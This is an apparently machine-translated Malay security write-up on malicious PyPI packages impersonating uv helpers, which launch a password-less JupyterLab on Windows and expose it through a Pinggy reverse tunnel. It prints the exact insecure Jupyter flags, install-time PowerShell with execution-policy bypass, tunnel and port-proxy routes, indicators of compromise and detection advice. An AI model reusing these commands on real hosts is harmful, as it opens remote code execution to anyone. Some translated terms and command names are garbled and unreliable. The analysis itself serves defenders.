TL; DR
Sekumpulan pakej PyPI meminjam nama uv, pengurus pakej Python berasaskan Rust yang pantas dan sangat popular, untuk menyamar sebagai pembantu uv. Mereka hampir tidak menghantar sebarang fungsi sebenar. Sebaliknya, apa yang mereka bawa ialah muatan Windows yang berdiri teguh Pelayan JupyterLab dengan pengesahan dimatikan dan, dalam versi kemudian, menerbitkannya ke internet awam melalui terowong terbalik.
Itulah keseluruhan cerita dalam satu baris: nama alat yang dipercayai sebagai umpan dan JupyterLab sebagai enjin pelaksanaan kod jauh. Pelayan Jupyter menjalankan apa sahaja kod yang anda taip ke dalam notebook sel; satu yang dilancarkan dengan token kosong dan terikat pada setiap antara muka rangkaian ialah penterjemah terbuka yang boleh dipandu oleh sesiapa sahaja yang boleh mencapai port tersebut.
Kami menjejaki kluster sebagai UV PalsuKedua-dua pakej yang diperiksa adalah moon-uv (0.0.1-0.0.16) dan my-magic-uv-helper (0.0.1), diterbitkan oleh operator yang sama dan disiarkan secara langsung di PyPI pada masa analisis.
| Ekosistem | PyPI |
| Kami | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platform disasarkan | Windows |
| Tingkah laku teras | Pelayan JupyterLab yang tidak disahkan, diterbitkan ke internet melalui terowong terbalik |
| Alat yang sah disalahgunakan | uv, JupyterLab, cloudflared, Pinggy |
Umpan: nama yang sudah anda percayai
uv merupakan salah satu alat Python yang paling banyak dipasang dalam tempoh dua tahun yang lalu, jadi "pembantu untuk uv"ialah pakej yang dipasang oleh pembangun tanpa berfikir panjang. FauxUV membelanjakan kredibilitinya sepenuhnya pada nama itu. Pakej-pakej tersebut membungkus tulen uv pemasang daripada Astral — URL dalam titik muatan pada hos sebenar yang bereputasi — jadi pandangan pantas hanya akan melihat rujukan yang boleh dipercayai. Tiada satu pun pakej yang benar-benar menambah uv kefungsian; nama itu ialah keseluruhan penyamaran.
JupyterLab sebagai enjin RCE
Pusat muatan ialah pelancar yang memulakan JupyterLab dengan setiap pagar pengadang ditanggalkan:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Setiap bendera menanggalkan perlindungan, dan skrip yang dihantar juga memberi anotasi kepadanya (dalam bahasa Cina asal): token kosong "Mematikan semakan kata laluan dan token — sesiapa sahaja boleh berhubung." makmal jupyter ialah IDE sains data yang sah, tetapi bukanebook sel melaksanakan kod sewenang-wenangnya mengikut reka bentuk. Dikonfigurasikan dengan cara ini dan terikat kepada 0.0.0.0, ia berhenti menjadi IDE dan menjadi cangkerang jauh yang tidak disahkan pada hos — tiada binari perisian hasad tersuai diperlukan, hanya alat arus perdana yang dihalakan ke arah yang salah.
Dua bahagian sokongan menjadikannya boleh dicapai dan diulang:
- Pencetus pemasangan senyap. Versi awal menjalankan PowerShell dengan -ExecutionPolicy Bypass terus dari persediaan.py on pemasangan pip, di latar belakang dengan ralat yang disekat jadi pip kelihatan normal. Versi kemudian mengalihkan primitif yang sama ke dalam a pip-uv alat baris arahan — dan gugurkan sepenuhnya jalan automatik masa pemasangan.
- Terowong awam terbalik. Pelayan dihidupkan 0.0.0.0 masih hanya boleh dicapai oleh hos yang boleh menghalakan ke mesin. Modul yang dibundel membuka [Pinggy](https://pinggy.io/) Terowong terbalik SSH yang memajukan port Jupyter tempatan ke alamat awam, menghapuskan had tersebut. Skrip yang dihantar juga membawa — dikomen — laluan alternatif menggunakan Cloudflare awan yang menyala dan netsh port-proxy kepada IP Linode, mendokumentasikan matlamat yang sama melalui infrastruktur yang berbeza.
Kumpulkan: pasang pakej, dan hos Windows akhirnya menjalankan JupyterLab tanpa kata laluan dan menerbitkannya ke internet terbuka.
Bagaimana FauxUV berkembang
Versi FauxUV dihantar secara berturut-turut, dan titik pencetus muatan bergerak merentasinya — satu peringatan bahawa satu versi yang ditandai jarang menceritakan keseluruhan kisah barisan pakej.
| Masa latihan | versi | Trigger | Apa yang ia tambah |
|---|---|---|---|
| Cangkuk pemasangan | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py pada pemasangan paip | pemasangan uv + PATH prepend |
| Masa jalan CLI | moon-uv 0.0.5-0.0.13 | pip-uv arahan | pelancar JupyterLab tanpa kata laluan |
| Terowong | moon-uv 0.0.14-0.0.16 | pip-uv arahan | terowong terbalik Pinggy yang aktif |
Terutamanya, jalan automatik masa pemasangan adalah dikeluarkan dalam versi yang lebih baharu dan lebih berkemampuan — jadi pengimbas hanya dikunci pada kitaran hayat hooks akan menjaringkan keluaran yang lebih baharu sebagai kurang berisiko, betul-betul ke belakang.
Petunjuk kompromi
Disahkan dengan membaca sumber pakej; titik akhir ditanda mengulas terdapat dalam fail tetapi tidak dilaksanakan oleh versi yang dianalisis. Penunjuk rangkaian telah dinyahfang.
| Jenis | Petunjuk |
|---|---|
| Perintah pemasangan | powershell -ExecutionPolicy Bypass mengambil pemasang uv tulen, pada masa pemasangan pip |
| Bendera JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Terowong terbalik (aktif) | free[.]pinggy[.]io:443 penghantaran tempatan 127.0.0.1:8888 |
| Hos terowong (diulas) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (diulas) | 45[.]79[.]134[.]161 (Linode) melalui netsh port-proxy |
| Kegigihan | bersiap sedia %USERPROFILE%\.local\bin kepada pengguna PATH |
Isyarat tingkah laku yang perlu diberi amaran, bebas daripada rentetan tepat ini: a pemasangan pip yang melahirkan powershell -PintasanPolisiPelaksanaan; mana-mana jupyter pelancaran menggabungkan token=”” bersama –ip=0.0.0.0; dan SSH keluar ke *.pinggy.io daripada pembangun atau mesin CI.
Tingkah laku dan asal usul yang diperhatikan
Kedua-dua pakej ini berkongsi pengarang dan kaedah: nama alat yang dipercayai, kawalan Windows sahaja, pelaksanaan latar belakang yang disekat ralat dan pergantungan pada alat yang bereputasi jadi pandangan pantas hanya melihat URL yang bereputasi. Sumber tersebut membawa komen berbahasa Cina yang menerangkan bendera berkaitan keselamatan dengan jelas; kami melaporkannya sebagai pernyataan yang boleh diperhatikan dalam fail, bukan sebagai dakwaan tentang motif. benarkan_asal nilai dan a colab.bat nama fail menggemakan aliran kerja tidak formal "kongsi masa jalan setempat saya" yang diedarkan untuk Google Colab. Walau apa pun asalnya, hasil yang dibungkus adalah sama.
Impak dan panduan untuk pembela
Siapakah yang terdedah kepada FauxUV. Pembangun Windows dan pengendali CI yang pemasangan pip salah satu daripada pakej ini. JupyterLab tanpa kata laluan pada 0.0.0.0 ialah pelaksanaan kod jarak jauh untuk sesiapa sahaja yang boleh mencapai port; terowong tersebut mengalih keluar had "siapa yang boleh mencapainya". Pelayan berjalan sebagai pengguna pemasangan, mewarisi fail, token dan kelayakan awan pengguna tersebut.
Mengapa ia mudah terlepas pandang. Setiap rentetan rangkaian menghala ke hos yang bereputasi baik — Astral, JupyterLab, awan yang menyala, Pinggy, Colab. Tiada binari perisian hasad untuk hash dan tiada gumpalan yang dikaburkan untuk dinyahkod. Pengimbasan berasaskan reputasi dan tandatangan kedua-duanya kurang memberi kesan kepada perkara ini, itulah sebabnya persoalan tingkah laku — Apakah yang dilakukan oleh mesin apabila memasang pakej ini — ialah orang yang menangkapnya.
Panduan:
- Layan sebarang masa pemasangan powershell -PintasanPolisiPelaksanaan sebagai isyarat pemecah binaan, apa sahaja URL yang diambilnya.
- Alert pada jupyter dilancarkan dengan token kosong dan –ip=0.0.0.0; kombinasi itu tidak sepatutnya muncul pada stesen kerja atau pelari.
- Pantau pembekal SSH ke terowong keluar (*.pinggy.io, *.trycloudflare.com) daripada persekitaran pembangun dan CI.
- memasang uv daripada [sumber rasminya](https://docs.astral.sh/uv/) dan bersikap skeptikal terhadap pakej "pembantu" pihak ketiga yang membungkus alat yang sudah mudah dipasang.
- Sematkan dan semak semula kebergantungan pada naik taraf — barisan pakej boleh mengembangkan keupayaan baharu versi-ke-versi.



